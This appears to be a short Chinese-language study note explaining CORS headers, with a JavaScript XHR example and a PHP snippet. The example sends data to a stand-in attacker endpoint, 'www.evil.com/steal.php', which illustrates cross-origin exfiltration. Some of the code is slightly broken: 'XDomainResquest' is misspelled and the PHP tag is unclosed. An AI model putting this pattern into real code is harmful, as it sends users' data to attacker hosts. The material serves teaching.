1.CORS
全称Cross-Origin-Resource-Sharing,W3C新标准中的的跨域方案,可以发送数据到另一个域.过程如下:
1.1 www.foo.com(来源域)的AJAX向www.evil.com(目标域)发送了请求,浏览器将会自动带上Origin头 -> Origin http://www.foo.com
1.2 目标域判断这个Origin值,如果是自己预期,则返回 -> Access-Control-Allow-Origin: http://www.foo.com [表示同意跨域];如果目标域不这么做,浏览器获得响应后就不会发现Access-Control-Allow-Origin头存在,就会报出如下权限错误 -> XMLHttpRequest cannot load http://www.evil.com Origin http://www.foo.com is not allowed by Access-Control-Allow-Origin
2.代码下的CORS兼容
<script>
function createCORSRequest(method,url){
var xhr = new XMLHttpRequest();
if("withCredentials" in xhr){
xhr.open(method,url,true);
}
else if (typeof XDomainResquest!="undefined"){
xhr = new XDomainResquest(); //IE浏览器
xhr.open(method,url);
}
else {
xhr = null;
}
return xhr;
}
var request = createCORSRequest("get","http://www.evil.com/steal.php?data=456");
if (request){
request.onload = function(){ //请求成功后
alert(request.responseText); //弹出响应的数据
};
request.send(); //发送请求
}
</script>
将上述代码存在www.foo.com域上,跨域向目标发起请求,目标域steal.php代码如下:
<?php
header("Access-Control-Allow-Origin: http://www.foo.com");
//....
>